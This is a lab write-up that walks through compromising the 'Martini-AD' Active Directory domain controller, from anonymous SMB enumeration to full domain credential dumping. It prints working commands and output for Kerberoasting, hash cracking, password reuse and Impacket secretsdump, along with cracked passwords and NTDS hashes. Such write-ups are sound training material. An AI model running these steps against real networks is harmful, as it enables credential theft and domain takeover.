HackSmarter

Martini-AD

NetExec / nxc
SMBMap
smbclient
BloodHound.py
Impacket GetUserSPNs
Hashcat
Evil-WinRM / WinRM via NetExec
Impacket addcomputer
Impacket secretsdump

Enumeration

Port Scan

Initial enumeration identified the target as a Windows Domain Controller.

Nmap scan report for 10.1.31.213
Host is up (0.14s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-23 15:12:07Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: dry.martini.bars0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: dry.martini.bars0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: dry.martini.bars0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: dry.martini.bars0., Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

The scan confirmed:

Active Directory services
SMB
LDAP / LDAPS
Kerberos
WinRM

Domain information discovered from the scan:

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

DNS_Domain_Name: dry.martini.bars
DNS_Computer_Name: DC01.dry.martini.bars
NetBIOS_Domain_Name: DRY
NetBIOS_Computer_Name: DC01

SMB Enumeration

Anonymous SMB Authentication

Anonymous SMB authentication worked, so before touching any credentials I listed the shares to see what an unauthenticated session could already reach:

nxc smb 10.1.31.213 -u '' -p '' --shares

SMB         10.1.31.213     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:False)
SMB         10.1.31.213     445    DC01             [+] DRY.MARTINI.BARS\\\\:
SMB         10.1.31.213     445    DC01             [*] Enumerated shares
SMB         10.1.31.213     445    DC01             Share           Permissions     Remark
SMB         10.1.31.213     445    DC01             -----           -----------     ------
SMB         10.1.31.213     445    DC01             ADMIN$                          Remote Admin
SMB         10.1.31.213     445    DC01             C$                              Default share
SMB         10.1.31.213     445    DC01             IPC$            READ            Remote IPC
SMB         10.1.31.213     445    DC01             NETLOGON        READ            Logon server share
SMB         10.1.31.213     445    DC01             notes
SMB         10.1.31.213     445    DC01             SYSVOL          READ            Logon server share

A non-default notes share stood out immediately — and it showed up even on the anonymous session, which is unusual enough to be worth chasing.

Guest Access

The anonymous session could see notes but not necessarily write to it, so I tried the Guest account next to check whether it opened up more access:

nxc smb 10.1.31.213 -u "Guest" -p "" --shares
 
SMB         10.1.31.213     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:False) 
SMB         10.1.31.213     445    DC01             [+] DRY.MARTINI.BARS\\Guest: 
SMB         10.1.31.213     445    DC01             [*] Enumerated shares
SMB         10.1.31.213     445    DC01             Share           Permissions     Remark
SMB         10.1.31.213     445    DC01             -----           -----------     ------
SMB         10.1.31.213     445    DC01             ADMIN$                          Remote Admin
SMB         10.1.31.213     445    DC01             C$                              Default share
SMB         10.1.31.213     445    DC01             IPC$            READ            Remote IPC
SMB         10.1.31.213     445    DC01             NETLOGON                        Logon server share 
SMB         10.1.31.213     445    DC01             notes           READ,WRITE      
SMB         10.1.31.213     445    DC01             SYSVOL                          Logon server share

The notes share was now accessible with READ,WRITE.

Recursively enumerated the notes share using SMBMap.

smbmap -H 10.1.31.213 -u 'Guest' -p '' -R notes

[+] IP: 10.1.31.213:445 Name: DC01.dry.martini.bars
    Disk                                                   Permissions
    ----                                                   -----------
    notes                                                  READ, WRITE

    .\\\\\\\\notes\\\\\\\\
    dr--r--r--                0 Thu Jan  1 00:00:00 1970    .
    dr--r--r--                0 Thu Jan  1 00:00:00 1970    ..
    fr--r--r--              120 Tue Mar  4 15:31:49 2026    notes.txt

Downloaded the file:

smbclient //10.1.31.213/notes -U Guest

smb: \\> mget *
Get file notes.txt? y
getting file \\notes.txt of size 129 as notes.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

Credentials Discovery

The downloaded notes file contained credentials.

cat notes.txt
                                                      
- Order more gin for lakeside
- Look for an engagement ring
- Check that notes works from Linux Mint

creds
mprice:*martini*

Validated the credentials over SMB:

nxc smb 10.1.31.213 -u "mprice" -p "*martini*" --shares 

SMB         10.1.31.213     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:False) 
SMB         10.1.31.213     445    DC01             [+] DRY.MARTINI.BARS\\mprice:*martini* 
SMB         10.1.31.213     445    DC01             [*] Enumerated shares
SMB         10.1.31.213     445    DC01             Share           Permissions     Remark
SMB         10.1.31.213     445    DC01             -----           -----------     ------
SMB         10.1.31.213     445    DC01             ADMIN$                          Remote Admin
SMB         10.1.31.213     445    DC01             C$                              Default share
SMB         10.1.31.213     445    DC01             IPC$            READ            Remote IPC
SMB         10.1.31.213     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.1.31.213     445    DC01             notes           READ,WRITE      
SMB         10.1.31.213     445    DC01             SYSVOL          READ            Logon server share

The credentials were valid.

User Enumeration

Enumerated domain users using the new credentials.

nxc smb 10.1.31.213 -u "mprice" -p "*martini*" --users  

SMB         10.1.31.213     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:False) 
SMB         10.1.31.213     445    DC01             [+] DRY.MARTINI.BARS\\mprice:*martini* 
SMB         10.1.31.213     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.1.31.213     445    DC01             Administrator                 2026-01-12 16:00:19 0       Built-in account for administering the computer/domain 
SMB         10.1.31.213     445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.1.31.213     445    DC01             krbtgt                        2026-01-17 01:19:20 0       Key Distribution Center Service Account 
SMB         10.1.31.213     445    DC01             mprice                        2026-01-17 16:40:55 0        
SMB         10.1.31.213     445    DC01             athena.t0                     2026-01-20 18:20:44 0        
SMB         10.1.31.213     445    DC01             ATHENA_SVC                    2026-01-20 18:20:32 0        
SMB         10.1.31.213     445    DC01             [*] Enumerated 6 local users: DRY

The service account ATHENA_SVC stood out immediately.

BloodHound

Attempted BloodHound collection for ACL / privilege path discovery.

bloodhound-python -u mprice -p '*martini*' -d dry.martini.bars -c All -ns 10.1.31.213

LDAPSocketOpenError: invalid server address

Collection failed because of LDAP / LDAPS connection issues.

Kerberoasting

Since ATHENA_SVC looked like a service account, attempted Kerberoasting.

impacket-GetUserSPNs dry.martini.bars/mprice:'*martini*' -dc-ip 10.1.31.213 -request

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName         Name        MemberOf                                                         PasswordLastSet             LastLogon  Delegation 
---------------------------  ----------  ---------------------------------------------------------------  --------------------------  ---------  ----------
HTTP/athena.dry.martini.bar  ATHENA_SVC  CN=Remote Management Users,CN=Builtin,DC=DRY,DC=MARTINI,DC=BARS  2026-01-20 18:20:32.856622  <never>               

[-] CCache file is not found. Skipping...
$krb5tgs$23$*ATHENA_SVC$DRY.MARTINI.BARS$dry.martini.bars/ATHENA_SVC*$5322210db2e658a8293a49282214a8fd$9aefbca76b25e781d047c3ebf4bf0dfd44b8e6db9b467aaa118e7b6ef9e2b3e4518a58b74c3d883e7a01a90b8ec162a90bad270fca9d99a6682cfbf760fb4d93fbff91fad1e9f00a1577a84b1946eb4a0bdb65bfd2d9abb2d7afbf85c9df282c1fa52d3ad8e1019c0f60dc28c5089b5cd3b5b1114cc89040a16b35ce374d2e9127b558cc08164dfba12a25a346b4b878bf5da89fdba01b111a3ced9db892ed7c8c1916e4ce87e11247d50c2dbb47d42c30d86d1a1727576a4477ebd124c73fab7432f6c9249e4cf792f43141b9162081d92d102e333eb87468784b9e5b10398a4711c07d660de002af375425c17608efce4a56bdbfec382aa1cb10388151eb3e5432fec0587d1217af53bf4b76f180772c56ea2f23ba2f8ff8ba0b4cb4d1e10ebaaa2907c6cc330de909544ca904621bed82c21cde38cf12e1253c1ad1aca6823c91a27cb6b62c0535f914fbde80d777e0c45f3084e3162f42f81ce3eb55df1b3173ed3ce1ea4f56a71fcd70d5a610b5404df5b7c67893c8e4f89d75517e256ddc6aab2db1b17a7958a2152a9e300b3fb00cd6fcbda0a543a652f7ebc12c975077f5c067ed76dea478f5d128ea5e0c0fa437c8e3f1fd21368a7676d6112a170092dfe13a8ce2bfa7f168d5f970db9af7f7688ed997b1927d9631c253ea036f265c79a9321c9c7c3bc4c04382822c3910d6bc7110e8b2494be774f76dfe90ae861128b1bb6dea5b43c4391cd810982e539aeec4ec32428c1042262f0ebe72bcbe01aad7863a58b9a30c75bfb1be76fdda734c1da4d28c185932817535494eee0ee274b4c5379f875af1d87462099feb2a8f8d7ce5876d2807c19739d2d32eac90e5d219892777ec65f1f3d3e32e04983a7e47941798dcc7f40b2148be029577a8ead119a26ffb353cbd7e5fc63b2734c9c15da0258991925827ae3bab137988521fbdc48dd620a16a242baffb267eebf685c176afe5316a13da5e05f99be8cbec864eb18dbb2d6a86408c50c4dc998f42a73f40111c55d4a4fa3d837d5aaade21cc13a576ce8cf4fef9ad290205a51271d89397cc1194b64cac97c6af26b41b0d8b31fa2556fdc1ab91f04f47c5c437dc6ccbef73fa8677e0552b4ade0ec67b2b2f56bc6ae482cfd47741eb67a81973de9022fcf2d79f6c4382b50feeb337f840dd872ff8523943f7f2fa20596d32f8be05ae5d1a24c553bdafb0060bcd9995fb0eba8bcd4607e385569efc62962688cfd07d263fe3b043b679fae201da8ed2411b2f8a63fc64ce7450cc705def6454a1a0d3a9f7bfc02d195412a87b16d319adb5d37b212dbe8464c2bc02d2e418db2c225b2b39768b506598088d0e3034076ae7a10e95bfa9b93442a2c596d69f7510c499fda7337bc600e41b4db047698e672053513a579491bd28a6d281f5161e6a4b46fec26fc21d4d45f4592cb02ddb2025dd13279cbe37832ce8d0370b35703dd3dc439937e23a0be3cb87bc69a457cb31eab5abd1f8e08aee2785e701ea2a

Retrieved a TGS hash for the service account:

Crack TGS Hash

Cracked the Kerberos TGS hash using Hashcat.

hashcat -m 13100 athena_svc.hash ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt

$krb5tgs$23$*ATHENA_SVC$DRY.MARTINI.BARS$dry.martini.bars/ATHENA_SVC*$5322210db2e658a8293a49282214a8fd$9aefbca76b25e781d047c3ebf4bf0dfd44b8e6db9b467aaa118e7b6ef9e2b3e4518a58b74c3d883e7a01a90b8ec162a90bad270fca9d99a6682cfbf760fb4d93fbff91fad1e9f00a1577a84b1946eb4a0bdb65bfd2d9abb2d7afbf85c9df282c1fa52d3ad8e1019c0f60dc28c5089b5cd3b5b1114cc89040a16b35ce374d2e9127b558cc08164dfba12a25a346b4b878bf5da89fdba01b111a3ced9db892ed7c8c1916e4ce87e11247d50c2dbb47d42c30d86d1a1727576a4477ebd124c73fab7432f6c9249e4cf792f43141b9162081d92d102e333eb87468784b9e5b10398a4711c07d660de002af375425c17608efce4a56bdbfec382aa1cb10388151eb3e5432fec0587d1217af53bf4b76f180772c56ea2f23ba2f8ff8ba0b4cb4d1e10ebaaa2907c6cc330de909544ca904621bed82c21cde38cf12e1253c1ad1aca6823c91a27cb6b62c0535f914fbde80d777e0c45f3084e3162f42f81ce3eb55df1b3173ed3ce1ea4f56a71fcd70d5a610b5404df5b7c67893c8e4f89d75517e256ddc6aab2db1b17a7958a2152a9e300b3fb00cd6fcbda0a543a652f7ebc12c975077f5c067ed76dea478f5d128ea5e0c0fa437c8e3f1fd21368a7676d6112a170092dfe13a8ce2bfa7f168d5f970db9af7f7688ed997b1927d9631c253ea036f265c79a9321c9c7c3bc4c04382822c3910d6bc7110e8b2494be774f76dfe90ae861128b1bb6dea5b43c4391cd810982e539aeec4ec32428c1042262f0ebe72bcbe01aad7863a58b9a30c75bfb1be76fdda734c1da4d28c185932817535494eee0ee274b4c5379f875af1d87462099feb2a8f8d7ce5876d2807c19739d2d32eac90e5d219892777ec65f1f3d3e32e04983a7e47941798dcc7f40b2148be029577a8ead119a26ffb353cbd7e5fc63b2734c9c15da0258991925827ae3bab137988521fbdc48dd620a16a242baffb267eebf685c176afe5316a13da5e05f99be8cbec864eb18dbb2d6a86408c50c4dc998f42a73f40111c55d4a4fa3d837d5aaade21cc13a576ce8cf4fef9ad290205a51271d89397cc1194b64cac97c6af26b41b0d8b31fa2556fdc1ab91f04f47c5c437dc6ccbef73fa8677e0552b4ade0ec67b2b2f56bc6ae482cfd47741eb67a81973de9022fcf2d79f6c4382b50feeb337f840dd872ff8523943f7f2fa20596d32f8be05ae5d1a24c553bdafb0060bcd9995fb0eba8bcd4607e385569efc62962688cfd07d263fe3b043b679fae201da8ed2411b2f8a63fc64ce7450cc705def6454a1a0d3a9f7bfc02d195412a87b16d319adb5d37b212dbe8464c2bc02d2e418db2c225b2b39768b506598088d0e3034076ae7a10e95bfa9b93442a2c596d69f7510c499fda7337bc600e41b4db047698e672053513a579491bd28a6d281f5161e6a4b46fec26fc21d4d45f4592cb02ddb2025dd13279cbe37832ce8d0370b35703dd3dc439937e23a0be3cb87bc69a457cb31eab5abd1f8e08aee2785e701ea2a:1dirtymartini

Recovered credentials:

ATHENA_SVC:1dirtymartini

WinRM Validation and access

Validated the service account credentials.

nxc winrm 10.1.31.213 -u 'ATHENA_SVC' -p '1dirtymartini'

WINRM       10.1.31.213     5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:DRY.MARTINI.BARS)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.1.31.213     5985   DC01             [+] DRY.MARTINI.BARS\\athena_svc:1dirtymartini (Pwn3d!)

The Pwn3d! on WinRM told me ATHENA_SVC wasn’t just a plain service account — it had enough on the box to log in interactively, so I did to see exactly what it held.

Checked the user context after authentication.

evil-winrm -i 10.1.31.213 -u 'athena_svc' -p '1dirtymartini'
                                      
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: <https://github.com/Hackplayers/evil-winrm#Remote-path-completion>
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\ATHENA_SVC\\Documents> dir
*Evil-WinRM* PS C:\\Users\\ATHENA_SVC\\Documents> whoami /all 

USER INFORMATION
----------------

User Name      SID
============== ==============================================
dry\\athena_svc S-1-5-21-3716536509-2861296316-2740169710-1106

GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\\Remote Desktop Users                Alias            S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\\Medium Plus Mandatory Level Label            S-1-16-8448

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\\Users\\ATHENA_SVC\\Documents> net user athena_svc /domain
User name                    ATHENA_SVC
Full Name                    ATHENA_SVC
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/20/2026 2:20:32 PM
Password expires             Never
Password changeable          1/21/2026 2:20:32 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/23/2026 10:44:00 AM

Logon hours allowed          All

Local Group Memberships      *Remote Desktop Users *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

The one thing that stood out here was SeMachineAccountPrivilege — that right lets a principal add a computer account to the domain, which can open up RBCD-style abuse, so I tried that route first.

Attempting to add a computer object to the domain

impacket-addcomputer dry.martini.bars/ATHENA_SVC:'1dirtymartini' -dc-ip 10.1.31.213 -computer-name TESTPC -computer-pass Password123!

timed out

The request timed out, so machine-account abuse was a dead end here and I set it aside.

Credential Reuse

With machine-account abuse off the table, I went back to the simplest lead I already had: the cracked 1dirtymartini password. The user list had a second, similarly-named account, athena.t0, right next to ATHENA_SVC — close enough that password reuse was worth a shot.

nxc smb 10.1.31.213 -u 'athena.t0' -p '1dirtymartini' --shares

SMB         10.1.31.213     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:False)
SMB         10.1.31.213     445    DC01             [+] DRY.MARTINI.BARS\\\\athena.t0:1dirtymartini (Pwn3d!)
SMB         10.1.31.213     445    DC01             [*] Enumerated shares
SMB         10.1.31.213     445    DC01             Share           Permissions     Remark
SMB         10.1.31.213     445    DC01             -----           -----------     ------
SMB         10.1.31.213     445    DC01             ADMIN$          READ,WRITE      Remote Admin
SMB         10.1.31.213     445    DC01             C$              READ,WRITE      Default share
SMB         10.1.31.213     445    DC01             IPC$            READ            Remote IPC
SMB         10.1.31.213     445    DC01             NETLOGON        READ            Logon server share
SMB         10.1.31.213     445    DC01             notes           READ,WRITE
SMB         10.1.31.213     445    DC01             SYSVOL          READ            Logon server share

The reuse paid off — athena.t0 accepted the same password and came back Pwn3d!, this time with READ,WRITE on ADMIN$ and C$. That account was effectively a local admin.

Domain Credential Dump

With admin-level access on the DC, I used those credentials to dump the domain’s secrets.

impacket-secretsdump dry.martini.bars/athena.t0:'1dirtymartini'@10.1.31.213

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xb2f01e3e3c1aa452de55002fbe88214a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
DRY\\DC01$:aes256-cts-hmac-sha1-96:0412dc48ceed40941db1cf8ed317cfc595a5dec6b05796d79f3f37c6f50f610f
DRY\\DC01$:aes128-cts-hmac-sha1-96:8551529a408549e0783bd3616954ab19
DRY\\DC01$:des-cbc-md5:f7cb52ea83f861d9
DRY\\DC01$:plain_password_hex:52003000720073003900390030005800740069004f007000540031004a006f00520049007000460052007300460036006c00310047004c0033004f0046006d004f00490037006a006c006d003100300077006d005700710058004300590065004a0071003600690069007a0059005a00610075006e0064005500580071004e006b00310066004e0074007a00790062005a0038004e0066004e0038006e0056005300720079004c0079004d00670072005a00750077005900760033005a007500660073007a007a00650072007600690067007300360042002b004e006900670066006e004d0052003600700066006f0052004a00650059004b0071004d005a0046007a006f004a0063004600730062004500550036006c00350038006a002b0032005300500054004d0033007a004d004900760070006a00360075007300570078005400540056004c004a006d004c00510071006a0078007a00540068007200340032006b004c0063005000720067004100620038006800470030004c00630068004800500078006d006b00440039004e006e006b00670068005000420051007a003d003400550053007800470055006300550068006e0076006d0067004d004a00660036007500540057004b003d004c00300051005300410058006c00590043004a002b007100710058006b00300053004300310055005500670032006100
DRY\\DC01$:aad3b435b51404eeaad3b435b51404ee:236ce64bb6593225f63bee578c6550d3:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xf2a16bffe9821b781c11e6abc7c86537a314dcbb
dpapi_userkey:0xf6f64677bd9484d59e36c9a2b933b81d16c3f5c9
[*] NL$KM 
 0000   D6 F9 1E BE 20 95 21 6A  88 22 1F 5C 92 CE 2C 8A   .... .!j.".\\..,.
 0010   BB CF 2C 38 59 53 A4 3A  EF A0 03 DA EA A5 A8 CF   ..,8YS.:........
 0020   0E 6F 91 92 02 3E 5B 45  40 E2 C7 A8 D5 DA 8B 11   .o...>[E@.......
 0030   6D 77 6B 5F 3F 78 48 12  0F BF A8 CE 06 C2 C6 7C   mwk_?xH........|
NL$KM:d6f91ebe2095216a88221f5c92ce2c8abbcf2c385953a43aefa003daeaa5a8cf0e6f9192023e5b4540e2c7a8d5da8b116d776b5f3f7848120fbfa8ce06c2c67c
[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d5cad8a9782b2879bf316f56936f1e36:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:22ebc290e67668629c8d0812662a9c51:::

That pulled the full NTDS set — including the krbtgt and Administrator hashes — which is domain compromise.

Attack Path Summary

Anonymous SMB session worked
→ Enumerated SMB shares anonymously
→ Guest access had READ/WRITE on notes share
→ Downloaded notes.txt
→ Found credentials: mprice:*martini*
→ Validated credentials over SMB
→ Enumerated users
→ Found service account: ATHENA_SVC
→ Attempted BloodHound collection
→ Kerberoasted ATHENA_SVC
→ Cracked TGS hash: 1dirtymartini
→ Validated WinRM access as ATHENA_SVC
→ Reused password against athena.t0
→ athena.t0 had administrative access
→ Dumped domain credentials with secretsdump

Credentials Found

User	Password / Secret	Source
`mprice`	`martini`	`notes.txt` from SMB `notes` share
`ATHENA_SVC` / `athena_svc`	`1dirtymartini`	Kerberoast + Hashcat
`athena.t0`	`1dirtymartini`	Credential reuse / validated with NetExec
`Administrator`	NTLM hash dumped by `secretsdump`	Domain dump
`krbtgt`	NTLM hash dumped by `secretsdump`	Domain dump

Tools Used

NetExec / nxc
SMBMap
smbclient
BloodHound.py
Impacket GetUserSPNs
Hashcat
Evil-WinRM / WinRM via NetExec
Impacket addcomputer
Impacket secretsdump